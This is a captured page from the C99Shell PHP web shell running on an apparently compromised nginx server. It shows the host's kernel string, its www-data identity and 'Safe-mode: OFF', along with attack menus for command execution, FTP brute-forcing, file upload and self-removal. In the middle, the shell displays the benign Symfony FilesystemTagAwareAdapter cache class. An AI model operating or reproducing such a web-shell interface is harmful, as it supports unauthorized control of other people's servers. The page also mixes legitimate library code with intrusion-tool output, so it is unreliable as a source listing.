!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/Cache/Adapter/   drwxr-xr-x
Free 83.26 GB of 96.73 GB (86.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FilesystemTagAwareAdapter.php (7.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Cache\Adapter;

use 
Symfony\Component\Cache\Marshaller\MarshallerInterface;
use 
Symfony\Component\Cache\Marshaller\TagAwareMarshaller;
use 
Symfony\Component\Cache\PruneableInterface;
use 
Symfony\Component\Cache\Traits\FilesystemTrait;

/**
 * Stores tag id <> cache id relationship as a symlink, and lookup on invalidation calls.
 *
 * @author Nicolas Grekas <[email protected]>
 * @author André Rømcke <[email protected]>
 */
class FilesystemTagAwareAdapter extends AbstractTagAwareAdapter implements PruneableInterface
{
    use 
FilesystemTrait {
        
doClear as private doClearCache;
        
doSave as private doSaveCache;
    }

    
/**
     * Folder used for tag symlinks.
     */
    
private const TAG_FOLDER 'tags';

    public function 
__construct(string $namespace ''int $defaultLifetime 0string $directory nullMarshallerInterface $marshaller null)
    {
        
$this->marshaller = new TagAwareMarshaller($marshaller);
        
parent::__construct(''$defaultLifetime);
        
$this->init($namespace$directory);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doClear(string $namespace)
    {
        
$ok $this->doClearCache($namespace);

        if (
'' !== $namespace) {
            return 
$ok;
        }

        
set_error_handler(static function () {});
        
$chars '+-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

        try {
            foreach (
$this->scanHashDir($this->directory.self::TAG_FOLDER.\DIRECTORY_SEPARATOR) as $dir) {
                if (
rename($dir$renamed substr_replace($dirbin2hex(random_bytes(4)), -8))) {
                    
$dir $renamed.\DIRECTORY_SEPARATOR;
                } else {
                    
$dir .= \DIRECTORY_SEPARATOR;
                    
$renamed null;
                }

                for (
$i 0$i 38; ++$i) {
                    if (!
is_dir($dir.$chars[$i])) {
                        continue;
                    }
                    for (
$j 0$j 38; ++$j) {
                        if (!
is_dir($d $dir.$chars[$i].\DIRECTORY_SEPARATOR.$chars[$j])) {
                            continue;
                        }
                        foreach (
scandir($d, \SCANDIR_SORT_NONE) ?: [] as $link) {
                            if (
'.' !== $link && '..' !== $link && (null !== $renamed || !realpath($d.\DIRECTORY_SEPARATOR.$link))) {
                                
unlink($d.\DIRECTORY_SEPARATOR.$link);
                            }
                        }
                        
null === $renamed ?: rmdir($d);
                    }
                    
null === $renamed ?: rmdir($dir.$chars[$i]);
                }
                
null === $renamed ?: rmdir($renamed);
            }
        } finally {
            
restore_error_handler();
        }

        return 
$ok;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doSave(array $valuesint $lifetime, array $addTagData = [], array $removeTagData = []): array
    {
        
$failed $this->doSaveCache($values$lifetime);

        
// Add Tags as symlinks
        
foreach ($addTagData as $tagId => $ids) {
            
$tagFolder $this->getTagFolder($tagId);
            foreach (
$ids as $id) {
                if (
$failed && \in_array($id$failedtrue)) {
                    continue;
                }

                
$file $this->getFile($id);

                if (!@
symlink($file$tagLink $this->getFile($idtrue$tagFolder)) && !is_link($tagLink)) {
                    @
unlink($file);
                    
$failed[] = $id;
                }
            }
        }

        
// Unlink removed Tags
        
foreach ($removeTagData as $tagId => $ids) {
            
$tagFolder $this->getTagFolder($tagId);
            foreach (
$ids as $id) {
                if (
$failed && \in_array($id$failedtrue)) {
                    continue;
                }

                @
unlink($this->getFile($idfalse$tagFolder));
            }
        }

        return 
$failed;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doDeleteYieldTags(array $ids): iterable
    
{
        foreach (
$ids as $id) {
            
$file $this->getFile($id);
            if (!
is_file($file) || !$h = @fopen($file'r')) {
                continue;
            }

            if ((\
PHP_VERSION_ID >= 70300 || '\\' !== \DIRECTORY_SEPARATOR) && !@unlink($file)) {
                
fclose($h);
                continue;
            }

            
$meta explode("\n"fread($h4096), 3)[2] ?? '';

            
// detect the compact format used in marshall() using magic numbers in the form 9D-..-..-..-..-00-..-..-..-5F
            
if (13 < \strlen($meta) && "\x9D" === $meta[0] && "\0" === $meta[5] && "\x5F" === $meta[9]) {
                
$meta[9] = "\0";
                
$tagLen unpack('Nlen'$meta9)['len'];
                
$meta substr($meta13$tagLen);

                if (
$tagLen -= \strlen($meta)) {
                    
$meta .= fread($h$tagLen);
                }

                try {
                    yield 
$id => '' === $meta ? [] : $this->marshaller->unmarshall($meta);
                } catch (\
Exception $e) {
                    yield 
$id => [];
                }
            }

            
fclose($h);

            if (\
PHP_VERSION_ID 70300 && '\\' === \DIRECTORY_SEPARATOR) {
                @
unlink($file);
            }
        }
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doDeleteTagRelations(array $tagData): bool
    
{
        foreach (
$tagData as $tagId => $idList) {
            
$tagFolder $this->getTagFolder($tagId);
            foreach (
$idList as $id) {
                @
unlink($this->getFile($idfalse$tagFolder));
            }
        }

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doInvalidate(array $tagIds): bool
    
{
        foreach (
$tagIds as $tagId) {
            if (!
is_dir($tagFolder $this->getTagFolder($tagId))) {
                continue;
            }

            
set_error_handler(static function () {});

            try {
                if (
rename($tagFolder$renamed substr_replace($tagFolderbin2hex(random_bytes(4)), -9))) {
                    
$tagFolder $renamed.\DIRECTORY_SEPARATOR;
                } else {
                    
$renamed null;
                }

                foreach (
$this->scanHashDir($tagFolder) as $itemLink) {
                    
unlink(realpath($itemLink) ?: $itemLink);
                    
unlink($itemLink);
                }

                if (
null === $renamed) {
                    continue;
                }

                
$chars '+-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

                for (
$i 0$i 38; ++$i) {
                    for (
$j 0$j 38; ++$j) {
                        
rmdir($tagFolder.$chars[$i].\DIRECTORY_SEPARATOR.$chars[$j]);
                    }
                    
rmdir($tagFolder.$chars[$i]);
                }
                
rmdir($renamed);
            } finally {
                
restore_error_handler();
            }
        }

        return 
true;
    }

    private function 
getTagFolder(string $tagId): string
    
{
        return 
$this->getFile($tagIdfalse$this->directory.self::TAG_FOLDER.\DIRECTORY_SEPARATOR).\DIRECTORY_SEPARATOR;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0049 ]--